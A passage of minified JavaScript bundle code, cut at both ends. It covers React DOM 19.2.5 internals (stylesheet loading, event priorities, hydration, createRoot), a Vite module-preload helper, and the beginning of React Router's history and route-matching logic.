t.async!=`symbol`&&!t.onLoad&&!t.onError&&t.src&&typeof t.src==`string`)return!0}return!1}function Wf(e){return!(e.type===`stylesheet`&&!(e.state.loading&3))}function Gf(e,t,n,r){if(n.type===`stylesheet`&&(typeof r.media!=`string`||!1!==matchMedia(r.media).matches)&&!(n.state.loading&4)){if(n.instance===null){var i=Af(r.href),a=t.querySelector(jf(i));if(a){t=a._p,typeof t==`object`&&t&&typeof t.then==`function`&&(e.count++,e=Jf.bind(e),t.then(e,e)),n.state.loading|=4,n.instance=a,_t(a);return}a=t.ownerDocument||t,r=Mf(r),(i=mf.get(i))&&Rf(r,i),a=a.createElement(`link`),_t(a);var o=a;o._p=new Promise(function(e,t){o.onload=e,o.onerror=t}),Pd(a,`link`,r),n.instance=a}e.stylesheets===null&&(e.stylesheets=new Map),e.stylesheets.set(n,t),(t=n.state.preload)&&!(n.state.loading&3)&&(e.count++,n=Jf.bind(e),t.addEventListener(`load`,n),t.addEventListener(`error`,n))}}var Kf=0;function qf(e,t){return e.stylesheets&&e.count===0&&Xf(e,e.stylesheets),0<e.count||0<e.imgCount?function(n){var r=setTimeout(function(){if(e.stylesheets&&Xf(e,e.stylesheets),e.unsuspend){var t=e.unsuspend;e.unsuspend=null,t()}},6e4+t);0<e.imgBytes&&Kf===0&&(Kf=62500*Ld());var i=setTimeout(function(){if(e.waitingForImages=!1,e.count===0&&(e.stylesheets&&Xf(e,e.stylesheets),e.unsuspend)){var t=e.unsuspend;e.unsuspend=null,t()}},(e.imgBytes>Kf?50:800)+t);return e.unsuspend=n,function(){e.unsuspend=null,clearTimeout(r),clearTimeout(i)}}:null}function Jf(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)Xf(this,this.stylesheets);else if(this.unsuspend){var e=this.unsuspend;this.unsuspend=null,e()}}}var Yf=null;function Xf(e,t){e.stylesheets=null,e.unsuspend!==null&&(e.count++,Yf=new Map,t.forEach(Zf,e),Yf=null,Jf.call(e))}function Zf(e,t){if(!(t.state.loading&4)){var n=Yf.get(e);if(n)var r=n.get(null);else{n=new Map,Yf.set(e,n);for(var i=e.querySelectorAll(`link[data-precedence],style[data-precedence]`),a=0;a<i.length;a++){var o=i[a];(o.nodeName===`LINK`||o.getAttribute(`media`)!==`not all`)&&(n.set(o.dataset.precedence,o),r=o)}r&&n.set(null,r)}i=t.instance,o=i.getAttribute(`data-precedence`),a=n.get(o)||r,a===r&&n.set(null,i),n.set(o,i),this.count++,r=Jf.bind(this),i.addEventListener(`load`,r),i.addEventListener(`error`,r),a?a.parentNode.insertBefore(i,a.nextSibling):(e=e.nodeType===9?e.head:e,e.insertBefore(i,e.firstChild)),t.state.loading|=4}}var Qf={$$typeof:C,Provider:null,Consumer:null,_currentValue:R,_currentValue2:R,_threadCount:0};function $f(e,t,n,r,i,a,o,s,c){this.tag=1,this.containerInfo=e,this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.next=this.pendingContext=this.context=this.cancelPendingCommit=null,this.callbackPriority=0,this.expirationTimes=qe(-1),this.entangledLanes=this.shellSuspendCounter=this.errorRecoveryDisabledLanes=this.expiredLanes=this.warmLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=qe(0),this.hiddenUpdates=qe(null),this.identifierPrefix=r,this.onUncaughtError=i,this.onCaughtError=a,this.onRecoverableError=o,this.pooledCache=null,this.pooledCacheLanes=0,this.formState=c,this.incompleteTransitions=new Map}function ep(e,t,n,r,i,a,o,s,c,l,u,d){return e=new $f(e,t,n,o,c,l,u,d,s),t=1,!0===a&&(t|=24),a=ni(3,null,null,t),e.current=a,a.stateNode=e,t=na(),t.refCount++,e.pooledCache=t,t.refCount++,a.memoizedState={element:r,isDehydrated:n,cache:t},Fa(a),e}function tp(e){return e?(e=ei,e):ei}function np(e,t,n,r,i,a){i=tp(i),r.context===null?r.context=i:r.pendingContext=i,r=La(t),r.payload={element:n},a=a===void 0?null:a,a!==null&&(r.callback=a),n=Ra(e,r,t),n!==null&&(mu(n,e,t),za(n,e,t))}function rp(e,t){if(e=e.memoizedState,e!==null&&e.dehydrated!==null){var n=e.retryLane;e.retryLane=n!==0&&n<t?n:t}}function ip(e,t){rp(e,t),(e=e.alternate)&&rp(e,t)}function ap(e){if(e.tag===13||e.tag===31){var t=Zr(e,67108864);t!==null&&mu(t,e,67108864),ip(e,67108864)}}function op(e){if(e.tag===13||e.tag===31){var t=fu();t=$e(t);var n=Zr(e,t);n!==null&&mu(n,e,t),ip(e,t)}}var sp=!0;function cp(e,t,n,r){var i=I.T;I.T=null;var a=L.p;try{L.p=2,up(e,t,n,r)}finally{L.p=a,I.T=i}}function lp(e,t,n,r){var i=I.T;I.T=null;var a=L.p;try{L.p=8,up(e,t,n,r)}finally{L.p=a,I.T=i}}function up(e,t,n,r){if(sp){var i=dp(r);if(i===null)Cd(e,t,r,fp,n),Cp(e,r);else if(Tp(i,e,t,n,r))r.stopPropagation();else if(Cp(e,r),t&4&&-1<Sp.indexOf(e)){for(;i!==null;){var a=mt(i);if(a!==null)switch(a.tag){case 3:if(a=a.stateNode,a.current.memoizedState.isDehydrated){var o=He(a.pendingLanes);if(o!==0){var s=a;for(s.pendingLanes|=2,s.entangledLanes|=2;o;){var c=1<<31-Fe(o);s.entanglements[1]|=c,o&=~c}nd(a),!(J&6)&&(eu=Ce()+500,rd(0,!1))}}break;case 31:case 13:s=Zr(a,2),s!==null&&mu(s,a,2),yu(),ip(a,2)}if(a=dp(r),a===null&&Cd(e,t,r,fp,n),a===i)break;i=a}i!==null&&r.stopPropagation()}else Cd(e,t,r,null,n)}}function dp(e){return e=Qt(e),pp(e)}var fp=null;function pp(e){if(fp=null,e=pt(e),e!==null){var t=o(e);if(t===null)e=null;else{var n=t.tag;if(n===13){if(e=s(t),e!==null)return e;e=null}else if(n===31){if(e=c(t),e!==null)return e;e=null}else if(n===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null)}}return fp=e,null}function mp(e){switch(e){case`beforetoggle`:case`cancel`:case`click`:case`close`:case`contextmenu`:case`copy`:case`cut`:case`auxclick`:case`dblclick`:case`dragend`:case`dragstart`:case`drop`:case`focusin`:case`focusout`:case`input`:case`invalid`:case`keydown`:case`keypress`:case`keyup`:case`mousedown`:case`mouseup`:case`paste`:case`pause`:case`play`:case`pointercancel`:case`pointerdown`:case`pointerup`:case`ratechange`:case`reset`:case`resize`:case`seeked`:case`submit`:case`toggle`:case`touchcancel`:case`touchend`:case`touchstart`:case`volumechange`:case`change`:case`selectionchange`:case`textInput`:case`compositionstart`:case`compositionend`:case`compositionupdate`:case`beforeblur`:case`afterblur`:case`beforeinput`:case`blur`:case`fullscreenchange`:case`focus`:case`hashchange`:case`popstate`:case`select`:case`selectstart`:return 2;case`drag`:case`dragenter`:case`dragexit`:case`dragleave`:case`dragover`:case`mousemove`:case`mouseout`:case`mouseover`:case`pointermove`:case`pointerout`:case`pointerover`:case`scroll`:case`touchmove`:case`wheel`:case`mouseenter`:case`mouseleave`:case`pointerenter`:case`pointerleave`:return 8;case`message`:switch(we()){case Te:return 2;case Ee:return 8;case De:case Oe:return 32;case ke:return 268435456;default:return 32}default:return 32}}var hp=!1,gp=null,_p=null,vp=null,yp=new Map,bp=new Map,xp=[],Sp=`mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset`.split(` `);function Cp(e,t){switch(e){case`focusin`:case`focusout`:gp=null;break;case`dragenter`:case`dragleave`:_p=null;break;case`mouseover`:case`mouseout`:vp=null;break;case`pointerover`:case`pointerout`:yp.delete(t.pointerId);break;case`gotpointercapture`:case`lostpointercapture`:bp.delete(t.pointerId)}}function wp(e,t,n,r,i,a){return e===null||e.nativeEvent!==a?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:a,targetContainers:[i]},t!==null&&(t=mt(t),t!==null&&ap(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,i!==null&&t.indexOf(i)===-1&&t.push(i),e)}function Tp(e,t,n,r,i){switch(t){case`focusin`:return gp=wp(gp,e,t,n,r,i),!0;case`dragenter`:return _p=wp(_p,e,t,n,r,i),!0;case`mouseover`:return vp=wp(vp,e,t,n,r,i),!0;case`pointerover`:var a=i.pointerId;return yp.set(a,wp(yp.get(a)||null,e,t,n,r,i)),!0;case`gotpointercapture`:return a=i.pointerId,bp.set(a,wp(bp.get(a)||null,e,t,n,r,i)),!0}return!1}function Ep(e){var t=pt(e.target);if(t!==null){var n=o(t);if(n!==null){if(t=n.tag,t===13){if(t=s(n),t!==null){e.blockedOn=t,nt(e.priority,function(){op(n)});return}}else if(t===31){if(t=c(n),t!==null){e.blockedOn=t,nt(e.priority,function(){op(n)});return}}else if(t===3&&n.stateNode.current.memoizedState.isDehydrated){e.blockedOn=n.tag===3?n.stateNode.containerInfo:null;return}}}e.blockedOn=null}function Dp(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0<t.length;){var n=dp(e.nativeEvent);if(n===null){n=e.nativeEvent;var r=new n.constructor(n.type,n);Zt=r,n.target.dispatchEvent(r),Zt=null}else return t=mt(n),t!==null&&ap(t),e.blockedOn=n,!1;t.shift()}return!0}function Op(e,t,n){Dp(e)&&n.delete(t)}function kp(){hp=!1,gp!==null&&Dp(gp)&&(gp=null),_p!==null&&Dp(_p)&&(_p=null),vp!==null&&Dp(vp)&&(vp=null),yp.forEach(Op),bp.forEach(Op)}function Ap(e,n){e.blockedOn===n&&(e.blockedOn=null,hp||(hp=!0,t.unstable_scheduleCallback(t.unstable_NormalPriority,kp)))}var jp=null;function Mp(e){jp!==e&&(jp=e,t.unstable_scheduleCallback(t.unstable_NormalPriority,function(){jp===e&&(jp=null);for(var t=0;t<e.length;t+=3){var n=e[t],r=e[t+1],i=e[t+2];if(typeof r!=`function`){if(pp(r||n)===null)continue;break}var a=mt(n);a!==null&&(e.splice(t,3),t-=3,bs(a,{pending:!0,data:i,method:n.method,action:r},r,i))}}))}function Np(e){function t(t){return Ap(t,e)}gp!==null&&Ap(gp,e),_p!==null&&Ap(_p,e),vp!==null&&Ap(vp,e),yp.forEach(t),bp.forEach(t);for(var n=0;n<xp.length;n++){var r=xp[n];r.blockedOn===e&&(r.blockedOn=null)}for(;0<xp.length&&(n=xp[0],n.blockedOn===null);)Ep(n),n.blockedOn===null&&xp.shift();if(n=(e.ownerDocument||e).$$reactFormReplay,n!=null)for(r=0;r<n.length;r+=3){var i=n[r],a=n[r+1],o=i[at]||null;if(typeof a==`function`)o||Mp(n);else if(o){var s=null;if(a&&a.hasAttribute(`formAction`)){if(i=a,o=a[at]||null)s=o.formAction;else if(pp(i)!==null)continue}else s=o.action;typeof s==`function`?n[r+1]=s:(n.splice(r,3),r-=3),Mp(n)}}}function Pp(){function e(e){e.canIntercept&&e.info===`react-transition`&&e.intercept({handler:function(){return new Promise(function(e){return i=e})},focusReset:`manual`,scroll:`manual`})}function t(){i!==null&&(i(),i=null),r||setTimeout(n,20)}function n(){if(!r&&!navigation.transition){var e=navigation.currentEntry;e&&e.url!=null&&navigation.navigate(e.url,{state:e.getState(),info:`react-transition`,history:`replace`})}}if(typeof navigation==`object`){var r=!1,i=null;return navigation.addEventListener(`navigate`,e),navigation.addEventListener(`navigatesuccess`,t),navigation.addEventListener(`navigateerror`,t),setTimeout(n,100),function(){r=!0,navigation.removeEventListener(`navigate`,e),navigation.removeEventListener(`navigatesuccess`,t),navigation.removeEventListener(`navigateerror`,t),i!==null&&(i(),i=null)}}}function Fp(e){this._internalRoot=e}Ip.prototype.render=Fp.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(i(409));var n=t.current;np(n,fu(),e,t,null,null)},Ip.prototype.unmount=Fp.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;np(e.current,2,null,e,null,null),yu(),t[ot]=null}};function Ip(e){this._internalRoot=e}Ip.prototype.unstable_scheduleHydration=function(e){if(e){var t=tt();e={blockedOn:null,target:e,priority:t};for(var n=0;n<xp.length&&t!==0&&t<xp[n].priority;n++);xp.splice(n,0,e),n===0&&Ep(e)}};var Lp=n.version;if(Lp!==`19.2.5`)throw Error(i(527,Lp,`19.2.5`));L.findDOMNode=function(e){var t=e._reactInternals;if(t===void 0)throw typeof e.render==`function`?Error(i(188)):(e=Object.keys(e).join(`,`),Error(i(268,e)));return e=d(t),e=e===null?null:p(e),e=e===null?null:e.stateNode,e};var Rp={bundleType:0,version:`19.2.5`,rendererPackageName:`react-dom`,currentDispatcherRef:I,reconcilerVersion:`19.2.5`};
9if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<`u`){var zp=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!zp.isDisabled&&zp.supportsFiber)try{Me=zp.inject(Rp),Ne=zp}catch{}}e.createRoot=function(e,t){if(!a(e))throw Error(i(299));var n=!1,r=``,o=Us,s=Ws,c=Gs;return t!=null&&(!0===t.unstable_strictMode&&(n=!0),t.identifierPrefix!==void 0&&(r=t.identifierPrefix),t.onUncaughtError!==void 0&&(o=t.onUncaughtError),t.onCaughtError!==void 0&&(s=t.onCaughtError),t.onRecoverableError!==void 0&&(c=t.onRecoverableError)),t=ep(e,1,!1,null,null,n,r,null,o,s,c,Pp),e[ot]=t.current,xd(e),new Fp(t)}})),g=o(((e,t)=>{function n(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>`u`||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=`function`))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}n(),t.exports=h()})),_=c(u(),1),v=g(),y=`modulepreload`,b=function(e){return`/`+e},x={},S=function(e,t,n){let r=Promise.resolve();if(t&&t.length>0){let e=document.getElementsByTagName(`link`),i=document.querySelector(`meta[property=csp-nonce]`),a=i?.nonce||i?.getAttribute(`nonce`);function o(e){return Promise.all(e.map(e=>Promise.resolve(e).then(e=>({status:`fulfilled`,value:e}),e=>({status:`rejected`,reason:e}))))}r=o(t.map(t=>{if(t=b(t,n),t in x)return;x[t]=!0;let r=t.endsWith(`.css`),i=r?`[rel="stylesheet"]`:``;if(n)for(let n=e.length-1;n>=0;n--){let i=e[n];if(i.href===t&&(!r||i.rel===`stylesheet`))return}else if(document.querySelector(`link[href="${t}"]${i}`))return;let o=document.createElement(`link`);if(o.rel=r?`stylesheet`:y,r||(o.as=`script`),o.crossOrigin=``,o.href=t,a&&o.setAttribute(`nonce`,a),document.head.appendChild(o),r)return new Promise((e,n)=>{o.addEventListener(`load`,e),o.addEventListener(`error`,()=>n(Error(`Unable to preload CSS for ${t}`)))})}))}function i(e){let t=new Event(`vite:preloadError`,{cancelable:!0});if(t.payload=e,window.dispatchEvent(t),!t.defaultPrevented)throw e}return r.then(t=>{for(let e of t||[])e.status===`rejected`&&i(e.reason);return e().catch(i)})},C=`popstate`;function w(e){return typeof e==`object`&&!!e&&`pathname`in e&&`search`in e&&`hash`in e&&`state`in e&&`key`in e}function T(e={}){function t(e,t){let n=t.state?.masked,{pathname:r,search:i,hash:a}=n||e.location;return A(``,{pathname:r,search:i,hash:a},t.state&&t.state.usr||null,t.state&&t.state.key||`default`,n?{pathname:e.location.pathname,search:e.location.search,hash:e.location.hash}:void 0)}function n(e,t){return typeof t==`string`?t:j(t)}return N(t,n,null,e)}function E(e,t){if(e===!1||e==null)throw Error(t)}function D(e,t){if(!e){typeof console<`u`&&console.warn(t);try{throw Error(t)}catch{}}}function O(){return Math.random().toString(36).substring(2,10)}function k(e,t){return{usr:e.state,key:e.key,idx:t,masked:e.unstable_mask?{pathname:e.pathname,search:e.search,hash:e.hash}:void 0}}function A(e,t,n=null,r,i){return{pathname:typeof e==`string`?e:e.pathname,search:``,hash:``,...typeof t==`string`?M(t):t,state:n,key:t&&t.key||r||O(),unstable_mask:i}}function j({pathname:e=`/`,search:t=``,hash:n=``}){return t&&t!==`?`&&(e+=t.charAt(0)===`?`?t:`?`+t),n&&n!==`#`&&(e+=n.charAt(0)===`#`?n:`#`+n),e}function M(e){let t={};if(e){let n=e.indexOf(`#`);n>=0&&(t.hash=e.substring(n),e=e.substring(0,n));let r=e.indexOf(`?`);r>=0&&(t.search=e.substring(r),e=e.substring(0,r)),e&&(t.pathname=e)}return t}function N(e,t,n,r={}){let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,s=`POP`,c=null,l=u();l??(l=0,o.replaceState({...o.state,idx:l},``));function u(){return(o.state||{idx:null}).idx}function d(){s=`POP`;let e=u(),t=e==null?null:e-l;l=e,c&&c({action:s,location:h.location,delta:t})}function f(e,t){s=`PUSH`;let r=w(e)?e:A(h.location,e,t);n&&n(r,e),l=u()+1;let d=k(r,l),f=h.createHref(r.unstable_mask||r);try{o.pushState(d,``,f)}catch(e){if(e instanceof DOMException&&e.name===`DataCloneError`)throw e;i.location.assign(f)}a&&c&&c({action:s,location:h.location,delta:1})}function p(e,t){s=`REPLACE`;let r=w(e)?e:A(h.location,e,t);n&&n(r,e),l=u();let i=k(r,l),d=h.createHref(r.unstable_mask||r);o.replaceState(i,``,d),a&&c&&c({action:s,location:h.location,delta:0})}function m(e){return P(e)}let h={get action(){return s},get location(){return e(i,o)},listen(e){if(c)throw Error(`A history only accepts one active listener`);return i.addEventListener(C,d),c=e,()=>{i.removeEventListener(C,d),c=null}},createHref(e){return t(i,e)},createURL:m,encodeLocation(e){let t=m(e);return{pathname:t.pathname,search:t.search,hash:t.hash}},push:f,replace:p,go(e){return o.go(e)}};return h}function P(e,t=!1){let n=`http://localhost`;typeof window<`u`&&(n=window.location.origin===`null`?window.location.href:window.location.origin),E(n,`No window.location.(origin|href) available to create URL`);let r=typeof e==`string`?e:j(e);return r=r.replace(/ $/,`%20`),!t&&r.startsWith(`//`)&&(r=n+r),new URL(r,n)}function F(e,t,n=`/`){return I(e,t,n,!1)}function I(e,t,n,r){let i=pe((typeof t==`string`?M(t):t).pathname||`/`,n);if(i==null)return null;let a=R(e);te(a);let o=null;for(let e=0;o==null&&e<a.length;++e){let t=fe(i);o=le(a[e],t,r)}return o}function L(e,t){let{route:n,pathname:r,params:i}=e;return{id:n.id,pathname:r,params:i,data:t[n.id],loaderData:t[n.id],handle:n.handle}}function R(e,t=[],n=[],r=``,i=!1){let a=(e,a,o=i,s)=>{let c={relativePath:s===void 0?e.path||``:s,caseSensitive:e.caseSensitive===!0,childrenIndex:a,route:e};if(c.relativePath.startsWith(`/`)){if(!c.relativePath.startsWith(r)&&o)return;E(c.relativePath.startsWith(r),`Absolute route path "${c.relativePath}" nested under path "${r}
9" is not valid. An absolute child route path must start with the combined path of all its parent routes.`),c.relativePath=c.relativePath.slice(r.length)}let l=Se([r,c.relativePath]),u=n.concat(c);e.children&&e.children.length>0&&(E(e.index!==!0,`Index routes must not have child routes. Please remove all child routes from route path "${l}".`),R(e.children,t,u,l,o)),!(e.path==null&&!e.index)&&t.push({path:l,score:se(l,e.index),routesMeta:u})};return e.forEach((e,t)=>{if(e.path===``||!e.path?.includes(`?`))a(e,t);else for(let n of ee(e.path))a(e,t,!0,n)}),t}function ee(e){let t=e.split(`/`);if(t.length===0)return[];let[n,...r]=t,i=n.endsWith(`?`),a=n.replace(/\?$/,``);if(r.length===0)return i?[a,``]:[a];let o=ee(r.join(`/`)),s=[];return s.push(...o.map(e=>e===``?a:[a,e].join(`/`))),i&&s.push(...o),s.map(t=>e.startsWith(`/`)&&t===``?`/`:t)}function te(e){e.sort((e,t)=>e.score===t.score?ce(e.routesMeta.map(e=>e.childrenIndex),t.routesMeta.map(e=>e.childrenIndex)):t.score-e.score)}var ne=/^:[\w-]+$/,z=3,B=2,re=1,ie=10,ae=-2,oe=e=>e===`*`;function se(e,t){let n=e.split(`/`),r=n.length;return n.some(oe)&&(r+=ae),t&&(r+=B),n.filter(e=>!oe(e)).reduce((e,t)=>e+(ne.test(t)?z:t===``?re:ie),r)}function ce(e,t){return e.length===t.length&&e.slice(0,-1).every((e,n)=>e===t[n])?e[e.length-1]-t[t.length-1]:0}function le(e,t,n=!1){let{routesMeta:r}=e,i={},a=`/`,o=[];for(let e=0;e<r.length;++e){let s=r[e],c=e===r.length-1,l=a===`/`?t:t.slice(a.length)||`/`,u=ue({path:s.relativePath,caseSensitive:s.caseSensitive,end:c},l),d=s.route;if(!u&&c&&n&&!r[r.length-1].route.index&&(u=ue({path:s.relativePath,caseSensitive:s.caseSensitive,end:!1},l)),!u)return null;
9Object.assign(i,u.params),o.push({params:i,pathname:Se([a,u.pathname]),pathnameBase:we(Se([a,u.pathnameBase])),route:d}),u.pathnameBase!==`/`&&(a=Se([a,u.pathnameBase]))}return o}function ue(e,t){typeof e==`string`&&(e={path:e,caseSensitive:!1,end:!0});let[n,r]=de(e.path,e.caseSensitive,e.end),i=t.match(n);if(!i)return null;let a=i[0],o=a.replace(/(.)\/+$/,`$1`),s=i.slice(1);return{params:r.reduce((e,{paramName:t,isOptional:n},r)=>{if(t===`*`){let e=s[r]||``;o=a.slice(0,a.length-e.length).replace(/(.)\/+$/,`$1`)}let i=s[r];return n&&!i?e[t]=void 0:e[t]=(i||``).replace(/%2F/g,`/`),e},{}),pathname:a,pathnameBase:o,pattern:e}}function de(e,t=!1,n=!0){D(e===`*`||!e.endsWith(`*`)||e.endsWith(`/*`),`Route path "${e}" will be treated as if it were "${e.replace(/\*$/,`/*`)}" because the \`*\` character must always follow a \`/\` in the pattern. To get rid of this warning, please change the route path to "${e.replace(/\*$/,`/*`)}".`);let r=[],i=`^`+e.replace(/\/*\*?$/,``).replace(/^\/*/,`/`).replace(/[\\.*+^${}|()[\]]/g,`\\$&`).replace(/\/:([\w-]+)(\?)?/g,(e,t,n,i,a)=>{if(r.push({paramName:t,isOptional:n!=null}),n){let t=a.charAt(i+e.length);return t&&t!==`/`?`/([^\\/]*)`:`(?:/([^\\/]*))?`}return`/([^\\/]+)`}).replace(/\/([\w-]+)\?(\/|$)/g,`(/$1)?$2`);return e.endsWith(`*`)?(r.push({paramName:`*`}),i+=e===`*`||e===`/*`?`(.*)$`:`(?:\\/(.+)|\\/*)$`):n?i+=`\\/*$`:e!==``&&e!==`/`&&(i+=`(?:(?=\\/|$))`),[new RegExp(i,t?void 0:`i`),r]}function fe(e){try{return e.split(`/`).map(e=>decodeURIComponent(e).replace(/\//g,`%2F`)).join(`/`)}catch(t){return D(!1,`The URL path "${e}" could not be decoded because it is a malformed URL segment. This is probably due to a bad percent encoding (${t}).`),e}}function pe(e,t){if(t===`/`)return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith(`/`)?t.length-1:t.length,r=e.charAt(n);return r&&r!==`/`?null:e.slice(n)||`/`}var me=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i;function he(e,t=`/`){let{pathname:n,search:r=``,hash:i=``}=typeof e==`string`?M(e):e,a;return n?(n=xe(n),a=n.startsWith(`/`)?ge(n.substring(1),`/`):ge(n,t)):a=t,{pathname:a,search:Te(r),hash:Ee(i)}}function ge(e,t){let n=Ce(t).split(`/`);return e.split(`/`).forEach(e=>{e===`..`?n.length>1&&n.pop():e!==`.`&&n.push(e)}),n.length>1?n.join(`/`):`/`}function _e(e,t,n,r){return`Cannot include a '${e}' character in a manually specified \`to.${t}\` field [${JSON.stringify(r)}]. Please separate it out to the \`to.${n}\` field. Alternatively you may provide the full path as a string in <Link to="..."> and the router will parse it for you.`}function ve(e){return e.filter((e,t)=>t===0||e.route.path&&e.route.path.length>0)}function ye(e){let t=ve(e);return t.map((e,n)=>n===t.length-1?e.pathname:e.pathnameBase)}function be(e,t,n,r=!1){let i;typeof e==`string`?i=M(e):(i={...e},E(!i.pathname||!i.pathname.includes(`?`),_e(`?`,`pathname`,`search`,i)),E(!i.pathname||!i.pathname.includes(`#`),_e(`#`,`pathname`,`hash`,i)),E(!i.search||!i.search.includes(`#`),_e(`#`,`search`,`hash`,i)));let a=e===``||i.pathname===``,o=a?`/`:i.pathname,s;if(o==null)s=n;else{let e=t.length-1;if(!r&&o.startsWith(`..`)){let t=o.split(`/`);for(;t[0]===`..`;)t.shift(),--e;i.pathname=t.join(`/`)}s=e>=0?t[e]:`/`}let c=he(i,s),l=o&&o!==`/`&&o.endsWith(`/`),u=(a||o===`.`)&&n.endsWith(`/`);return!c.pathname.endsWith(`/`)&&(l||u)&&(c.pathname+=`/`),c}var xe=e=>e.replace(/\/\/+/g,`/`),Se=e=>xe(e.join(`/`)),Ce=e=>e.replace(/\/+$/,``),we=e=>Ce(e).replace(/^\/*/,`/`),Te=e=>!e||e===`?`?``:e.startsWith(`?`)?e:`?`+e,Ee=e=>!e||e===`#`?``:e.startsWith(`#`)?e:`#`+e,De=class{constructor(e,t,n,r=!1){this.status=e,this.statusText=t||``,this.internal=r,n instanceof Error?(this.data=n.toString(),this.error=n):this.data=n}};function Oe(e){return e!=null&&typeof e.status==`number`&&typeof e.statusText==`string`&&typeof e.internal==`boolean`&&`data`in e}function ke(e){return Se(e.map(e=>e.route.path).filter(Boolean))||`/`}var Ae=typeof window<`u`&&window.document!==void 0&&window.document.createElement!==void 0;function je(e,t){let n=e;if(typeof n!=`string`||!me.test(n))return{absoluteURL:void 0,isExternal:!1,to:n};let r=n,i=!1;if(Ae)try{let e=new URL(window.location.href),r=n.startsWith(`//`)?new URL(e.protocol+n):new URL(n),a=pe(r.pathname,t);r.origin===e.origin&&a!=null?n=a+r.search+r.hash:i=!0}catch{D(!1,`<Link to="${n}">
9 contains an invalid URL which will probably break when clicked - please update to a valid URL path.`)}return{absoluteURL:r,isExternal:i,to:n}}Object.getOwnPropertyNames(Object.prototype).sort().join(`\0`);var Me=[`POST`,`PUT`,`PATCH`,`DELETE`];new Set(Me);var Ne=[`GET`,...Me];new Set(Ne);var Pe=_.createContext(null);Pe.displayName=`DataRouter`;var Fe=_.createContext(null);Fe.displayName=`DataRouterState`;var Ie=_.createContext(!1);function Le(){return _.useContext(Ie)}var Re=_.createContext({isTransitioning:!1});Re.displayName=`ViewTransition`;var ze=_.createContext(new Map);ze.displayName=`Fetchers`;var Be=_.createContext(null);Be.displayName=`Await`;var Ve=_.createContext(null);Ve.displayName=`Navigation`;var He=_.createContext(null);He.displayName=`Location`;var Ue=_.createContext({outlet:null,matches:[],isDataRoute:!1});Ue.displayName=`Route`;var We=_.createContext(null);We.displayName=`RouteError`;var Ge=`REACT_ROUTER_ERROR`,Ke=`REDIRECT`,qe=`ROUTE_ERROR_RESPONSE`;function Je(e){if(e.startsWith(`${Ge}:${Ke}:{`))try{let t=JSON.parse(e.slice(28));if(typeof t==`object`&&t&&typeof t.status==`number`&&typeof t.statusText==`string`&&typeof t.location==`string`&&typeof t.reloadDocument==`boolean`&&typeof t.replace==`boolean`)return t}catch{}}function Ye(e){if(e.startsWith(`${Ge}:${qe}:{`))try{let t=JSON.parse(e.slice(40));if(typeof t==`object`&&t&&typeof t.status==`number`&&typeof t.statusText==`string`)return new De(t.status,t.statusText,t.data)}catch{}}function Xe(e,{relative:t}={}){E(Ze(),`useHref() may be used only in the context of a <Router> component.`);let{basename:n,navigator:r}=_.useContext(Ve),{hash:i,pathname:a,search:o}=at(e,{relative:t}),s=a;return n!==`/`&&(s=a===`/`?n:Se([n,a])),r.createHref({pathname:s,search:o,hash:i})}function Ze(){return _.useContext(He)!=null}function Qe(){return E(Ze(),`useLocation() may be used only in the context of a <Router> component.`),_.useContext(He).location}var $e=`You should call navigate() in a React.useEffect(), not when your component is first rendered.`;function et(e){_.useContext(Ve).static||_.useLayoutEffect(e)}function tt(){let{isDataRoute:e}=_.useContext(Ue);return e?wt():nt()}function nt(){E(Ze(),`useNavigate() may be used only in the context of a <Router> component.`);let e=_.useContext(Pe),{basename:t,navigator:n}=_.useContext(Ve),{matches:r}=_.useContext(Ue),{pathname:i}=Qe(),a=JSON.stringify(ye(r)),o=_.useRef(!1);return et(()=>{o.current=!0}),_.useCallback((r,s={})=>{if(D(o.current,$e),!o.current)return;if(typeof r==`number`){n.go(r);return}let c=be(r,JSON.parse(a),i,s.relative===`path`);e==null&&t!==`/`&&(c.pathname=c.pathname===`/`?t:Se([t,c.pathname])),(s.replace?n.replace:n.push)(c,s.state,s)},[t,n,a,i,e])}var rt=_.createContext(null);function it(e){let t=_.useContext(Ue).outlet;return _.useMemo(()=>t&&_.createElement(rt.Provider,{value:e},t),[t,e])}function at(e,{relative:t}={}){let{matches:n}=_.useContext(Ue),{pathname:r}=Qe(),i=JSON.stringify(ye(n));return _.useMemo(()=>be(e,JSON.parse(i),r,t===`path`),[e,i,r,t])}function ot(e,t){return st(e,t)}function st(e,t,n){E(Ze(),`useRoutes() may be used only in the context of a <Router> component.`);let{navigator:r}=_.useContext(Ve),{matches:i}=_.useContext(Ue),a=i[i.length-1],o=a?a.params:{},s=a?a.pathname:`/`,c=a?a.pathnameBase:`/`,l=a&&a.route;{let e=l&&l.path||``;Et(s,!l||e.endsWith(`*`)||e.endsWith(`*?`),`You rendered descendant <Routes> (or called \`useRoutes()\`) at "${s}" (under <Route path="${e}">) but the parent route path has no trailing "*". This means if you navigate deeper, the parent won't match anymore and therefore the child routes will never render. 10 11Please change the parent <Route path="${e}"> to <Route path="${e===`/`?`*`:`${e}/*`}">.`)}let u=Qe(),d;if(t){let e=typeof t==`string`?M(t):t;E(c===`/`||e.pathname?.startsWith(c),`When overriding the location using \`<Routes location>\` or \`useRoutes(routes, location)\`, the location pathname must begin with the portion of the URL pathname that was matched by all parent routes. The current pathname base is 